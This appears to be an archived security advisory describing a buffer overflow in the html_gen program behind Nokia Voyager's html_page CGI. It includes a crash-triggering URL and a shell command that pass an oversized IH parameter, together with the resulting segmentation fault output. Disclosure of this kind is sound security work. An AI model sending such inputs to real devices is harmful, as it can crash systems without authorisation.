COMMAND

    Nokia Voyager

SYSTEMS AFFECTED

    Nokia Voyager

PROBLEM

    Gregory  Duchemin   found  following.    Voyager   works  with   a
    multipurposes cgi called  html_page that make  a call to  html_gen
    with a filename as a template script.  Html_gen produce the  final
    html page returned by apache.  If You test this kind of URL:

        http://your-nokia/http://10.1.152.2/cgi-bin/html_page?TEMPLATE=arp&IH=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    You'll get a  segfault error page.   If u test  it with a  command
    line, You'll reproduce  the same signal.   Obviously, html_gen  is
    unable to  manage properly  a big  amount a  data in  some of  its
    parameters. IH is one of the html_page's paramaters that does  the
    job.

    With telnet, try (under tcsh)

        #setenv QUERY_STRING
        "TEMPLATE=arp&IH=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        #/web/cgi-bin/html_page

        Content-type: text/html

        <br>Html_gen exited because of signal:  Segmentation fault<br>
        nokia1[admin]#

SOLUTION

    Because  u  already  must  be  administrator to access the voyager
    setup, security impact is relatively low considering that  default
    configuration wasn't poorly modified.

    Because nokia ipso isn't dedicated for a multi-user work usage and
    noone else root should be able to login, impact for local  rooting
    is low too considering the same things that above.